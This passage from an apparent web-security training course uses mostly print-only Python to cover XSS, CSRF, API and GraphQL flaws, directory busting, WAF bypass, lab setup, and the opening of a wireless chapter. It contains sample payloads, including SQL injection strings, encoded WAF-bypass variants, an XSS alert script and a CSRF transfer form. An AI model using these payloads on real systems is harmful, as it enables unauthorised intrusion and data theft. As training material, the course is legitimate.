    def demonstrate_scenarios(self):
        """Demonstrate all real-world scenarios"""
        self.session_hijacking()
        self.defacement()
        self.credential_theft()
        self.keylogging()

# Example
xss_scenarios = XSSRealWorld()
xss_scenarios.demonstrate_scenarios()

5.5.3 XSS Prevention

class XSSPrevention:
    """XSS prevention techniques"""

    def __init__(self):
        self.user_input = "<script>alert('XSS')</script>"

    def input_validation(self):
        """Input validation for XSS prevention"""
        print("=== Input Validation ===")
        print(f"📝 User Input: {self.user_input}")

        # Whitelist approach
        allowed_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "
        validated = ''.join(c for c in self.user_input if c in allowed_chars)
        print(f"✅ Validated Input: {validated}")
        print("📌 Whitelist approach is most secure")

    def output_encoding(self):
        """Output encoding for XSS prevention"""
        print("\n=== Output Encoding ===")
        print(f"📝 User Input: {self.user_input}")

        # HTML encoding
        encoded = self.user_input.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")
        encoded = encoded.replace('"', "&quot;").replace("'", "&#x27;")
        print(f"✅ HTML Encoded: {encoded}")
        print("📌 Context-specific encoding is required")

    def content_security_policy(self):
        """Content Security Policy for XSS prevention"""
        print("\n=== Content Security Policy ===")
        print("📋 CSP Header:")
        print("   Content-Security-Policy: default-src 'self'; script-src 'self'")
        print("   Content-Security-Policy: script-src 'self' https://trusted.cdn.com")
        print("   Content-Security-Policy: script-src 'self' 'unsafe-inline'")
        print("📌 CSP prevents XSS by controlling allowed sources")

    def demonstrate_prevention(self):
        """Demonstrate all prevention techniques"""
        self.input_validation()
        self.output_encoding()
        self.content_security_policy()

        print("\n📌 Best Practices:")
        print("  - Use framework-provided XSS protection")
        print("  - Implement Content Security Policy")
        print("  - Escape/encode user input")
        print("  - Validate input on server side")
        print("  - Use HTTP-only cookies")
        print("  - Regular security testing")

# Example
xss_prevention = XSSPrevention()
xss_prevention.demonstrate_prevention()

5.6 CSRF (Cross-Site Request Forgery)

CSRF tricks an authenticated user into performing unintended actions.

5.6.1 Understanding CSRF

class CSRFDemo:
    """Demonstrate CSRF vulnerability"""

    def __init__(self):
        self.users = {
            "alice": {"password": "password", "balance": 1000},
            "bob": {"password": "password", "balance": 500}
        }
        self.current_user = None

    def login(self, username):
        """Simulate user login"""
        if username in self.users:
            self.current_user = username
            print(f"👤 Logged in as: {username}")
            print(f"💰 Balance: ${self.users[username]['balance']}")
            return True
        return False

    def transfer_funds(self, amount, to_account):
        """Transfer funds - vulnerable to CSRF"""
        if not self.current_user:
            print("❌ Not logged in")
            return

        print(f"\n💰 Transferring ${amount} to {to_account}")
        if self.users[self.current_user]['balance'] >= amount:
            self.users[self.current_user]['balance'] -= amount
            print(f"✅ Transfer successful!")
            print(f"💰 New balance: ${self.users[self.current_user]['balance']}")
            return True
        else:
            print("❌ Insufficient funds")
            return False

    def csrf_attack(self):
        """Simulate CSRF attack"""
        print("\n=== CSRF Attack Simulation ===")
        print("👤 User: Alice (authenticated)")
        print("🎯 Attacker creates malicious page:")

        print("""
        <html>
        <body>
        <form action="http://bank.com/transfer" method="POST">
            <input type="hidden" name="amount" value="1000">
            <input type="hidden" name="to_account" value="attacker">
            <input type="submit" value="Click to claim prize!">
        </form>
        </body>
        </html>
        """)

        print("📊 Alice clicks the link")
        print("💰 $1000 transferred to attacker")
        print("💥 CSRF attack successful!")
        print("📌 User was authenticated, so request was accepted")

    def demonstrate_csrf(self):
        """Demonstrate CSRF vulnerability"""
        print("=== CSRF Demonstration ===\n")

        # Login as Alice
        self.login("alice")

        # Normal transfer
        print("\n1️⃣ Normal Transfer:")
        self.transfer_funds(100, "bob")

        # CSRF attack
        self.csrf_attack()

        print("\n📌 Impact:")
        print("  - Unauthorized transfers")
        print("  - Account takeover")
        print("  - Data modification")
        print("  - Unintended actions")

# Example
csrf = CSRFDemo()
csrf.demonstrate_csrf()

5.6.2 CSRF Mitigation

class CSRFMitigation:
    """CSRF prevention techniques"""

    def __init__(self):
        self.csrf_tokens = {}
        self.valid_requests = []

    def generate_csrf_token(self, session_id):
        """Generate a CSRF token"""
        import secrets
        token = secrets.token_hex(16)
        self.csrf_tokens[session_id] = token
        return token

    def validate_csrf_token(self, session_id, token):
        """Validate a CSRF token"""
        if session_id in self.csrf_tokens:
            valid = self.csrf_tokens[session_id] == token
            if valid:
                print("✅ CSRF token validated")
                self.valid_requests.append(f"Request {len(self.valid_requests)+1}")
            else:
                print("❌ Invalid CSRF token")
            return valid
        print("❌ Session not found")
        return False

    def same_site_cookie(self):
        """SameSite cookie attribute"""
        print("=== SameSite Cookie Attribute ===")
        print("🍪 Set-Cookie: session=abc123; SameSite=Strict")
        print("📌 Prevents cross-site requests from including cookies")
        print("📌 Options: Strict, Lax, None")

    def referrer_validation(self):
        """Referrer header validation"""
        print("\n=== Referrer Validation ===")
        print("🔍 Check Referer header")
        print("📌 Only accept requests from same origin")
        print("📌 Valid Referer: https://bank.com/transfer")
        print("📌 Invalid Referer: http://attacker.com/transfer")

    def double_submit_cookies(self):
        """Double submit cookie pattern"""
        print("\n=== Double Submit Cookies ===")
        print("🍪 Cookie: csrf_token=abc123")
        print("📊 Form field: csrf_token=abc123")
        print("📌 Both must match for request to be valid")

    def demonstrate_mitigation(self):
        """Demonstrate all mitigation techniques"""
        print("=== CSRF Mitigation ===\n")

        # Generate and validate token
        session_id = "session123"
        token = self.generate_csrf_token(session_id)
        print(f"🔑 CSRF Token generated: {token}")

        # Validate token
        self.validate_csrf_token(session_id, token)

        # Display other techniques
        self.same_site_cookie()
        self.referrer_validation()
        self.double_submit_cookies()

        print("\n📌 Best Practices:")
        print("  - Use CSRF tokens")
        print("  - Implement SameSite cookies")
        print("  - Validate Referer header")
        print("  - Use double-submit cookies")
        print("  - Implement custom headers")
        print("  - Use anti-CSRF frameworks")

# Example
csrf_mitigation = CSRFMitigation()
csrf_mitigation.demonstrate_mitigation()

5.7 API Security

5.7.1 REST API Vulnerabilities

class RESTAPISecurity:
    """REST API security vulnerabilities"""

    def __init__(self):
        self.users = [
            {"id": 1, "username": "admin", "email": "admin@api.com"},
            {"id": 2, "username": "user1", "email": "user1@api.com"},
            {"id": 3, "username": "user2", "email": "user2@api.com"}
        ]
        self.api_keys = {
            "user1": "api_key_123",
            "user2": "api_key_456"
        }
        self.current_user = None

    def unauthorized_access(self):
        """Missing authentication"""
        print("🔴 Missing Authentication:")
        print("   🔍 GET /api/users - No authentication required")
        print("   📊 Returns all users")
        print("   💥 Exposes sensitive user data")
        print("   📌 Fix: Require authentication")

    def rate_limiting_issues(self):
        """Rate limiting issues"""
        print("\n🔴 Rate Limiting Issues:")
        print("   🔍 Sending 100 requests/minute...")
        print("   ✅ All requests accepted")
        print("   💥 Brute force attacks possible")
        print("   📌 Fix: Implement rate limiting")

    def parameter_tampering(self):
        """Parameter tampering"""
        print("\n🔴 Parameter Tampering:")
        print("   🔍 GET /api/users/2")
        print("   📊 Returns user2 data")
        print("   🔍 GET /api/users/1 (modified ID)")
        print("   📊 Returns admin data")
        print("   💥 Users can access other users' data")
        print("   📌 Fix: Implement authorization checks")

    def mass_assignment(self):
        """Mass assignment"""
        print("\n🔴 Mass Assignment:")
        print("   📦 POST /api/users")
        print("   🔑 Request Body:")
        print("      {'username': 'attacker', 'email': 'attacker@evil.com', 'role': 'admin'}")
        print("   💥 User created with admin role")
        print("   📌 Fix: Whitelist allowed parameters")

    def demonstrate_vulnerabilities(self):
        """Demonstrate API vulnerabilities"""
        print("=== REST API Security ===\n")
        self.unauthorized_access()
        self.rate_limiting_issues()
        self.parameter_tampering()
        self.mass_assignment()

        print("\n📌 Security Recommendations:")
        print("  - Implement authentication")
        print("  - Enforce authorization")
        print("  - Implement rate limiting")
        print("  - Validate and sanitize input")
        print("  - Use API keys with rotation")
        print("  - Implement logging and monitoring")

# Example
api_security = RESTAPISecurity()
api_security.demonstrate_vulnerabilities()

5.7.2 GraphQL Security

class GraphQLSecurity:
    """GraphQL security considerations"""

    def __init__(self):
        self.schema = {
            "User": {"id": 1, "name": "Alice", "email": "alice@example.com"},
            "Users": [{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}]
        }

    def introspection_exposure(self):
        """Introspection exposure"""
        print("=== GraphQL Introspection ===")
        print("🔍 Query:")
        print("  query { __schema { types { name fields { name } } } }")
        print("\n📊 Response:")
        print("  User: id, name, email, password")
        print("  Product: id, name, price, cost")
        print("  🚫 Exposed sensitive fields: password, cost")
        print("  💥 Attackers can understand the data model")
        print("  📌 Fix: Disable introspection in production")

    def query_complexity(self):
        """Query complexity attacks"""
        print("\n=== Query Complexity Attacks ===")
        print("🔍 Malicious Query:")
        print("  query { users { posts { comments { user { posts { comments { id } } } } } } }")
        print("  💥 Nested query consumes excessive resources")
        print("  📌 Fix: Implement query complexity limits")

    def authorization_issues(self):
        """Authorization issues in GraphQL"""
        print("\n=== Authorization Issues ===")
        print("🔍 Query:")
        print("  query { user(id: 1) { id name email } }")
        print("  📊 Returns user data even for unauthorized users")
        print("  💥 Users can access other users' data")
        print("  📌 Fix: Implement per-field authorization")

    def data_exposure(self):
        """Excessive data exposure"""
        print("\n=== Excessive Data Exposure ===")
        print("🔍 Query:")
        print("  query { user(id: 1) { * } }")
        print("  📊 Returns all user data including sensitive fields")
        print("  💥 Password hash exposed")
        print("  📌 Fix: Limit returned fields")

# Example
graphql_security = GraphQLSecurity()
graphql_security.introspection_exposure()
graphql_security.query_complexity()
graphql_security.authorization_issues()
graphql_security.data_exposure()

5.8 Directory Busting (Finding Hidden Paths)

5.8.1 Tools and Techniques

class DirectoryBusting:
    """Directory busting tools and techniques"""

    def __init__(self, target):
        self.target = target
        self.discovered = []

    def gobuster_scan(self):
        """Simulate Gobuster scan"""
        print("=== Gobuster Directory Busting ===")
        print(f"🎯 Target: {self.target}")
        print("📚 Wordlist: /usr/share/wordlists/dirb/common.txt")

        discovered = [
            "/admin",
            "/backup",
            "/config",
            "/dev",
            "/logs",
            "/uploads",
            "/api",
            "/css",
            "/js",
            "/images"
        ]

        print("\n📊 Discovered Paths:")
        for path in discovered:
            print(f"  ✅ {path}")
            self.discovered.append(path)

        return discovered

    def dirb_scan(self):
        """Simulate Dirb scan"""
        print("\n=== Dirb Directory Busting ===")
        print(f"🎯 Target: {self.target}")
        print("📚 Wordlist: /usr/share/wordlists/dirb/common.txt")

        discovered = [
            "/admin",
            "/backup",
            "/cgi-bin",
            "/phpmyadmin",
            "/logs"
        ]

        print("\n📊 Discovered Paths:")
        for path in discovered:
            print(f"  ✅ {path}")
            self.discovered.append(path)

        return discovered

    def ffuf_scan(self):
        """Simulate FFUF scan"""
        print("\n=== FFUF Fuzzing ===")
        print(f"🎯 Target: {self.target}")
        print("🔍 Fuzzing parameters...")

        parameters = [
            "id=1",
            "page=home",
            "user=admin",
            "action=edit",
            "file=test.php"
        ]

        print("\n📊 Discovered Parameters:")
        for param in parameters:
            print(f"  ✅ {param}")
            self.discovered.append(param)

        return parameters

    def analyze_results(self):
        """Analyze discovered paths"""
        print("\n=== Discovery Analysis ===")
        print(f"📊 Total discovered: {len(self.discovered)}")

        # Categorize findings
        admin_paths = [p for p in self.discovered if 'admin' in p or 'backup' in p]
        sensitive_paths = [p for p in self.discovered if 'config' in p or 'log' in p]
        api_paths = [p for p in self.discovered if 'api' in p]

        if admin_paths:
            print(f"\n⚠️ Admin/Backup Paths Found: {len(admin_paths)}")
            for path in admin_paths:
                print(f"  - {path}")
            print("  📌 These should be secured")

        if sensitive_paths:
            print(f"\n⚠️ Sensitive Paths Found: {len(sensitive_paths)}")
            for path in sensitive_paths:
                print(f"  - {path}")
            print("  📌 These may contain sensitive data")

        if api_paths:
            print(f"\n⚠️ API Paths Found: {len(api_paths)}")
            for path in api_paths:
                print(f"  - {path}")
            print("  📌 These should be secured with authentication")

# Example
dir_bust = DirectoryBusting("http://example.com")
dir_bust.gobuster_scan()
dir_bust.dirb_scan()
dir_bust.ffuf_scan()
dir_bust.analyze_results()

5.8.2 Common Hidden Files

class HiddenFiles:
    """Common hidden files in web applications"""

    def __init__(self):
        self.hidden_files = {
            ".git": "Git repository (source code exposure)",
            ".htaccess": "Apache configuration file",
            ".htpasswd": "Password file for authentication",
            "config.php": "Configuration file (database credentials)",
            ".env": "Environment file (API keys, credentials)",
            "admin.php": "Admin panel",
            "backup.zip": "Backup file (source code, database)",
            "info.php": "PHP info page (system information)",
            "phpinfo.php": "PHP info page (system information)",
            "test.php": "Test file (may expose vulnerabilities)"
        }

    def demonstrate_hidden_files(self):
        """Demonstrate common hidden files"""
        print("=== Common Hidden Files ===\n")

        for filename, description in self.hidden_files.items():
            print(f"🔴 {filename}")
            print(f"   📌 {description}")
            print("   💥 Security risk if accessible")
            print()

        print("📌 Security Recommendations:")
        print("  - Disable directory listing")
        print("  - Remove default files")
        print("  - Restrict access to sensitive files")
        print("  - Use .htaccess to protect directories")
        print("  - Implement proper file permissions")

# Example
hidden = HiddenFiles()
hidden.demonstrate_hidden_files()

5.9 WAF Detection and Bypass Fundamentals

5.9.1 WAF Detection

class WAFDetection:
    """Web Application Firewall detection"""

    def __init__(self):
        self.waf_signatures = {
            "Cloudflare": ["cf-ray", "__cfduid"],
            "AWS WAF": ["x-amzn-RequestId"],
            "ModSecurity": ["ModSecurity", "blocked"],
            "Akamai": ["X-Akamai-Transformed"],
            "F5 BIG-IP": ["X-F5-Auth"]
        }

    def detect_waf(self, response_headers):
        """Detect WAF from response headers"""
        print("=== WAF Detection ===")

        detected = []
        for waf_name, signatures in self.waf_signatures.items():
            for header in response_headers:
                for signature in signatures:
                    if signature in header:
                        detected.append(waf_name)
                        print(f"🔍 Detected: {waf_name}")
                        print(f"   Signature: {signature}")

        if not detected:
            print("❌ No WAF detected")

        return detected

    def waf_fingerprinting(self):
        """WAF fingerprinting techniques"""
        print("\n=== WAF Fingerprinting ===")
        print("🔍 Testing responses for WAF identification...")

        tests = [
            "Send malicious payload: ' OR '1'='1",
            "Check error messages",
            "Check response headers",
            "Check status codes",
            "Check response content"
        ]

        for test in tests:
            print(f"  ✅ {test}")

        print("\n📌 WAF Fingerprinting Indicators:")
        print("  - Custom error pages")
        print("  - Specific headers")
        print("  - Challenge pages (CAPTCHA)")
        print("  - Rate limiting responses")
        print("  - Token-based validation")

# Example
waf = WAFDetection()
response_headers = ["Server: nginx", "X-F5-Auth: denied", "cf-ray: 12345"]
waf.detect_waf(response_headers)
waf.waf_fingerprinting()

5.9.2 WAF Bypass Techniques

class WAFBypass:
    """WAF bypass techniques"""

    def __init__(self):
        self.payloads = []

    def case_manipulation(self):
        """Case manipulation bypass"""
        print("=== Case Manipulation ===")
        payloads = [
            "SELECT",
            "SeLeCt",
            "SeLeCt",
            "selECT",
            "sElEcT"
        ]
        print("🔍 Testing case variations:")
        for payload in payloads:
            print(f"  ✅ {payload}")
        print("📌 Many WAFs are case-sensitive")

    def encoding_techniques(self):
        """Encoding bypass techniques"""
        print("\n=== Encoding Techniques ===")
        print("🔍 URL Encoding:")
        print("  %27 OR %271%27=%271")
        print("\n🔍 Double URL Encoding:")
        print("  %2527 OR %25271%2527=%25271")
        print("\n🔍 Unicode Encoding:")
        print("  %u0027 OR %u00271%u0027=%u00271")
        print("\n🔍 Base64 Encoding:")
        print("  ' OR '1'='1 -> JyBPUiAnMSc9JzE=")

    def comment_injection(self):
        """Comment injection bypass"""
        print("\n=== Comment Injection ===")
        print("🔍 SQL Comments:")
        print("  /**/ SELECT /**/ * /**/ FROM /**/ users")
        print("  /**/ UNION /**/ SELECT /**/ username,password /**/ FROM /**/ users")
        print("\n🔍 Shell Comments:")
        print("  ls; # Executed")
        print("  ping google.com; # Executed")

    def parameter_fragmentation(self):
        """Parameter fragmentation bypass"""
        print("\n=== Parameter Fragmentation ===")
        print("🔍 Original: id=1 UNION SELECT username,password FROM users")
        print("🔍 Fragmented:")
        print("  id=1 UNION")
        print("  id=SELECT")
        print("  id=username,password")
        print("  id=FROM users")
        print("📌 Some WAFs don't reassemble fragmented parameters")

    def demonstrate_bypasses(self):
        """Demonstrate all bypass techniques"""
        print("=== WAF Bypass Techniques ===\n")
        self.case_manipulation()
        self.encoding_techniques()
        self.comment_injection()
        self.parameter_fragmentation()

        print("\n📌 Advanced Bypass Techniques:")
        print("  - IP rotation")
        print("  - HTTP parameter pollution")
        print("  - CRLF injection")
        print("  - Null byte injection")
        print("  - Chunked encoding")

# Example
waf_bypass = WAFBypass()
waf_bypass.demonstrate_bypasses()

5.10 Setting Up a Complete Web Application Testing Lab

5.10.1 Lab Components

class WebAppLab:
    """Web application testing lab setup"""

    def __init__(self):
        self.components = {
            "DVWA": {
                "description": "Damn Vulnerable Web Application",
                "purpose": "Training platform for web vulnerabilities",
                "url": "http://localhost/dvwa"
            },
            "WebGoat": {
                "description": "OWASP WebGoat",
                "purpose": "OWASP training application",
                "url": "http://localhost:8080/WebGoat"
            },
            "bWAPP": {
                "description": "Buggy Web Application",
                "purpose": "Vulnerability practice",
                "url": "http://localhost/bWAPP"
            },
            "JuiceShop": {
                "description": "OWASP Juice Shop",
                "purpose": "Modern vulnerable web app",
                "url": "http://localhost:3000"
            }
        }

    def setup_dvwa(self):
        """Set up DVWA"""
        print("=== DVWA Setup ===")
        print("📦 Downloading DVWA...")
        print("📂 Extracting to /var/www/html/dvwa")
        print("🔧 Configuring database...")
        print("👤 Default credentials: admin/password")
        print("🌐 Access: http://localhost/dvwa")
        print("📋 Security Levels: Low, Medium, High")

    def setup_webgoat(self):
        """Set up WebGoat"""
        print("\n=== WebGoat Setup ===")
        print("📦 Downloading WebGoat...")
        print("📂 Running with Docker...")
        print("🌐 Access: http://localhost:8080/WebGoat")
        print("📋 Includes: SQL Injection, XSS, CSRF, and more")

    def setup_bwapp(self):
        """Set up bWAPP"""
        print("\n=== bWAPP Setup ===")
        print("📦 Downloading bWAPP...")
        print("📂 Configuring...")
        print("👤 Default credentials: bee/bug")
        print("🌐 Access: http://localhost/bWAPP")
        print("📋 100+ vulnerabilities included")

    def setup_juiceshop(self):
        """Set up Juice Shop"""
        print("\n=== Juice Shop Setup ===")
        print("📦 Downloading Juice Shop...")
        print("📂 Running with npm...")
        print("🌐 Access: http://localhost:3000")
        print("📋 Modern vulnerabilities including API security")

    def display_lab(self):
        """Display complete lab setup"""
        print("=== Complete Web Application Testing Lab ===\n")
        print("📋 Components:")
        for name, info in self.components.items():
            print(f"\n🔹 {name}")
            print(f"   📌 {info['description']}")
            print(f"   🎯 Purpose: {info['purpose']}")
            print(f"   🌐 URL: {info['url']}")

        print("\n📋 Practice Platforms:")
        print("  🔹 HackTheBox - Online practice")
        print("  🔹 TryHackMe - Online training")
        print("  🔹 PortSwigger Web Security Academy - Free labs")

        print("\n📌 Recommended Learning Path:")
        print("  1. Start with DVWA (beginner)")
        print("  2. Move to WebGoat (intermediate)")
        print("  3. Practice bWAPP (intermediate)")
        print("  4. Challenge with Juice Shop (advanced)")
        print("  5. Practice on HTB/THM (real-world)")

# Example
lab = WebAppLab()
lab.setup_dvwa()
lab.setup_webgoat()
lab.setup_bwapp()
lab.setup_juiceshop()
lab.display_lab()

5.10.2 Safe Practice Environment

class SafePractice:
    """Safe practice environment guidelines"""

    def __init__(self):
        self.guidelines = {
            "Isolation": "Use virtual machines or containers",
            "No Production": "Never test on production systems",
            "Legal": "Only test systems you own or have permission to test",
            "Ethical": "Respect privacy and data protection",
            "Network": "Keep isolated from production networks",
            "Backup": "Create snapshots before testing"
        }

    def display_guidelines(self):
        """Display safety guidelines"""
        print("=== Safe Practice Environment Guidelines ===\n")

        for guideline, description in self.guidelines.items():
            print(f"🔹 {guideline}")
            print(f"   {description}")
            print()

        print("📌 Additional Best Practices:")
        print("  - Use Kali Linux or Parrot OS")
        print("  - Use VirtualBox or VMware")
        print("  - Keep antivirus disabled in lab VMs")
        print("  - Document all test activities")
        print("  - Never share findings without permission")

        print("\n⚠️ Legal Considerations:")
        print("  - Unauthorized testing is illegal")
        print("  - Get written permission before testing")
        print("  - Respect scope boundaries")
        print("  - Report responsibly")
        print("  - Protect sensitive data")

# Example
safe = SafePractice()
safe.display_guidelines()

5.11 Real Demo (Safe)

5.11.1 Demo Scenarios

class WebSecurityDemo:
    """Complete web security demonstration"""

    def __init__(self):
        self.target = "http://192.168.1.10/dvwa"

    def sql_injection_demo(self):
        """SQL Injection demonstration"""
        print("=== SQL Injection Demo on DVWA ===\n")
        print("🎯 Target: DVWA SQL Injection")
        print("📋 Steps:")
        print("  1. Set security level to Low")
        print("  2. Navigate to SQL Injection")
        print("  3. Enter: 1' OR '1'='1")
        print("  4. Observe all users returned")
        print("\n📊 Results:")
        print("  ✅ SQL Injection successful")
        print("  📊 All users displayed")
        print("  🔒 Admin account accessed")

    def xss_demo(self):
        """XSS demonstration"""
        print("\n=== XSS Demo on WebGoat ===\n")
        print("🎯 Target: WebGoat Reflected XSS")
        print("📋 Steps:")
        print("  1. Navigate to Reflected XSS")
        print("  2. Enter: <script>alert('XSS')</script>")
        print("  3. Observe alert box")
        print("\n📊 Results:")
        print("  ✅ XSS vulnerability found")
        print("  💻 JavaScript executed")
        print("  🍪 Session cookie accessible")

    def csrf_demo(self):
        """CSRF demonstration"""
        print("\n=== CSRF Demo on bWAPP ===\n")
        print("🎯 Target: bWAPP CSRF")
        print("📋 Steps:")
        print("  1. Log in as admin")
        print("  2. Navigate to CSRF")
        print("  3. Craft malicious request")
        print("  4. Execute the attack")
        print("\n📊 Results:")
        print("  ✅ CSRF attack successful")
        print("  💰 Password changed without user interaction")
        print("  🎯 Account compromised")

    def complete_walkthrough(self):
        """Complete web penetration testing walkthrough"""
        print("\n=== Complete Web Penetration Testing Walkthrough ===\n")
        print("1️⃣ Reconnaissance:")
        print("   - Google dorking for exposed information")
        print("   - Directory enumeration with Gobuster")
        print("   - Subdomain discovery")

        print("\n2️⃣ Scanning:")
        print("   - Nikto web server scan")
        print("   - Vulnerability scanning")
        print("   - Service enumeration")

        print("\n3️⃣ Exploitation:")
        print("   - SQL injection: Data theft")
        print("   - XSS: Session hijacking")
        print("   - CSRF: Account takeover")

        print("\n4️⃣ Post Exploitation:")
        print("   - Privilege escalation")
        print("   - Lateral movement")
        print("   - Data exfiltration")

        print("\n5️⃣ Reporting:")
        print("   - Executive summary")
        print("   - Technical details")
        print("   - Remediation recommendations")

        print("\n📌 Tools Used:")
        print("  - Burp Suite: Intercept and modify traffic")
        print("  - SQLmap: Automated SQL injection")
        print("  - Nikto: Web server scanning")
        print("  - Gobuster: Directory discovery")
        print("  - Nmap: Network scanning")

        print("\n📊 Findings Summary:")
        print("  🔴 Critical: 2 (SQL Injection, XSS)")
        print("  🟡 High: 3 (CSRF, IDOR, Command Injection)")
        print("  🔵 Medium: 2 (Security Headers, Information Disclosure)")
        print("  🟢 Low: 1 (Missing Security Headers)")

# Example
demo = WebSecurityDemo()
demo.sql_injection_demo()
demo.xss_demo()
demo.csrf_demo()
demo.complete_walkthrough()

5.12 Certification Path for Web Application Security

class WebSecurityCertifications:
    """Web application security certifications"""

    def __init__(self):
        self.certifications = {
            "GWAPT": {
                "full_name": "GIAC Web Application Penetration Tester",
                "level": "Intermediate",
                "exam_type": "Practical",
                "focus": "Web application penetration testing",
                "prerequisites": ["OSCP recommended"]
            },
            "BurpSuite Certified": {
                "full_name": "Burp Suite Certified Practitioner",
                "level": "Intermediate",
                "exam_type": "Practical",
                "focus": "Burp Suite proficiency",
                "prerequisites": ["Web application knowledge"]
            },
            "eWPTX": {
                "full_name": "eLearnSecurity Web Penetration Tester Extreme",
                "level": "Advanced",
                "exam_type": "Practical",
                "focus": "Advanced web exploitation",
                "prerequisites": ["eWPT"]
            },
            "OSWE": {
                "full_name": "Offensive Security Web Expert",
                "level": "Expert",
                "exam_type": "Practical",
                "focus": "White-box web application testing",
                "prerequisites": ["OSCP recommended"]
            }
        }

    def display_certifications(self):
        """Display certification information"""
        print("=== Web Application Security Certifications ===\n")

        for cert, info in self.certifications.items():
            print(f"🔹 {cert} - {info['full_name']}")
            print(f"   Level: {info['level']}")
            print(f"   Exam Type: {info['exam_type']}")
            print(f"   Focus: {info['focus']}")
            print(f"   Prerequisites: {info['prerequisites']}")
            print()

        print("📌 Certification Path:")
        print("  1. eLearnSecurity Web Penetration Tester (eWPT)")
        print("  2. Burp Suite Certified Practitioner")
        print("  3. GIAC Web Application Penetration Tester (GWAPT)")
        print("  4. eLearnSecurity Web Penetration Tester Extreme (eWPTX)")
        print("  5. Offensive Security Web Expert (OSWE)")

        print("\n📋 Recommended Study Resources:")
        print("  - PortSwigger Web Security Academy")
        print("  - OWASP Testing Guide")
        print("  - Web Application Hacker's Handbook")
        print("  - TryHackMe Web Hacking")
        print("  - HackTheBox Web Challenges")

# Example
certs = WebSecurityCertifications()
certs.display_certifications()

You have now completed Phase 5: Web Application Security.

Key Topics Covered:

TopicKey Concepts
Web Application ArchitectureFrontend, Backend, APIs, Sessions
Burp SuiteProxy, Repeater, Intruder, Scanner
OWASP Top 10All 10 critical web risks
SQL InjectionTypes, exploitation, prevention
XSSReflected, Stored, DOM-based
CSRFAttacks and mitigation
API SecurityREST, GraphQL vulnerabilities
WAFDetection and bypass techniques
Testing LabDVWA, WebGoat, Juice Shop

Practical Examples Completed:

  • SQL injection exploitation
  • XSS attack scenarios
  • CSRF demonstration
  • API security testing
  • WAF bypass techniques
  • Directory busting
  • Complete penetration testing walkthrough

PHASE 6: WIRELESS & NETWORK SECURITY

6.1 Why Wireless Security Is a Distinct Discipline

Wired network attacks require physical access to a cable, a switch port, or a network device. Wireless attacks require nothing more than proximity. An attacker sitting in a car outside an office building, in a coffee shop adjacent to a corporate headquarters, or in an apartment building near a target organisation can conduct a complete wireless penetration test without ever setting foot on the premises. The attack surface is literally broadcast through the air.

This fundamental characteristic of wireless communication — that signals propagate beyond any physical boundary the defender controls — is what makes wireless security both uniquely challenging and uniquely important. An organisation can install the most sophisticated firewalls, the most carefully configured network segmentation, and the most rigorous physical access controls, and a single misconfigured wireless access point can render all of it irrelevant. An attacker who gains access to the wireless network is inside the perimeter.

Why Wireless Security Is Different:

AspectWired NetworksWireless Networks
Physical AccessRequiredNot Required
Signal BoundariesConfined to cablesBroadcast through air
EavesdroppingRequires tapPassive reception
DetectionEasier to detectHarder to detect
Attack RangeLimited by cable lengthExtended by antenna range
AuthenticationPhysical connectionRadio-based authentication

6.1.1 How Wireless Networks Work: The Technical Foundation

Before examining attacks, you must understand the technology being attacked. Wireless networks operate according to standards defined by the IEEE 802.11 family of specifications. The most commonly encountered in practice are 802.11n (Wi-Fi 4), 802.11ac (Wi-Fi 5), and 802.11ax (Wi-Fi 6).

RF Signals and Frequencies:

Wireless networks use radio frequency (RF) signals to transmit data through the air. These signals operate in specific frequency bands:

Frequency BandRangeCommon Use
2.4 GHzLonger range, more interferenceWi-Fi, Bluetooth, Microwaves
5 GHzShorter range, less interferenceWi-Fi (802.11ac/ax)
6 GHzNew, wide bandwidthWi-Fi 6E, Wi-Fi 7

Wi-Fi Standards (802.11 Family):

StandardYearFrequencyMax SpeedKey Feature
802.11a19995 GHz54 MbpsFirst 5 GHz
802.11b19992.4 GHz11 MbpsWidespread adoption
802.11g20032.4 GHz54 MbpsFaster 2.4 GHz
802.11n (Wi-Fi 4)20092.4/5 GHz600 MbpsMIMO introduced
802.11ac (Wi-Fi 5)20135 GHz3.5 GbpsMU-MIMO
802.11ax (Wi-Fi 6)20192.4/5 GHz9.6 GbpsOFDMA, improved efficiency
802.11be (Wi-Fi 7)20242.4/5/6 GHz30+ GbpsUltra-high throughput
class WiFiStandards:
    """Wi-Fi standards overview"""

    def __init__(self):
        self.standards = {
            "802.11a": {"year": 1999, "frequency": "5 GHz", "speed": "54 Mbps", "features": "First 5 GHz"},
            "802.11b": {"year": 1999, "frequency": "2.4 GHz", "speed": "11 Mbps", "features": "Widespread adoption"},
            "802.11g": {"year": 2003, "frequency": "2.4 GHz", "speed": "54 Mbps", "features": "Faster 2.4 GHz"},
            "802.11n": {"year": 2009, "frequency": "2.4/5 GHz", "speed": "600 Mbps", "features": "MIMO introduced"},
            "802.11ac": {"year": 2013, "frequency": "5 GHz", "speed": "3.5 Gbps", "features": "MU-MIMO"},
            "802.11ax": {"year": 2019, "frequency": "2.4/5 GHz", "speed": "9.6 Gbps", "features": "OFDMA"}
        }

    def display_standards(self):
        """Display Wi-Fi standards"""
        print("=== Wi-Fi Standards (802.11) ===\n")
        for standard, info in self.standards.items():
            print(f"📡 {standard} ({info['year']})")
            print(f"   Frequency: {info['frequency']}")
            print(f"   Max Speed: {info['speed']}")
            print(f"   Key Feature: {info['features']}")
            print()

# Example
wifi_standards = WiFiStandards()
wifi_standards.display_standards()

SSID and BSSID Concepts:

TermDefinitionExample
SSIDService Set Identifier (Network Name)“Home_Network”, “Starbucks_WiFi”
BSSIDBasic Service Set Identifier (MAC Address)“00:11:22:33:44:55”
ESSIDExtended SSID (Multiple Access Points)“Corporate_WiFi”

Beacon Frames and Probe Requests:

  • Beacon Frames: Broadcast by access points every 100ms to announce the network
  • Probe Requests: Sent by clients to discover available networks
  • Probe Responses: Sent by access points in response to probe requests

Authentication and Association Process:

  1. Probe Request: Client discovers available networks
  2. Probe Response: Access point responds with network information
  3. Authentication Request: Client requests authentication
  4. Authentication Response: Access point grants/denies authentication
  5. Association Request: Client requests network access
  6. Association Response: Access point grants/denies association
  7. 4-Way Handshake: Key exchange (WPA2/WPA3)
class WiFiConnectionProcess:
    """Wi-Fi connection process simulation"""

    def __init__(self):
        self.steps = []
        self.authenticated = False
        self.associated = False
        self.encryption = None

    def step_probe(self):
        """Probe phase"""
        print("📡 Step 1: Probe Request/Response")
        print("   Client: 'Are there any networks available?'")
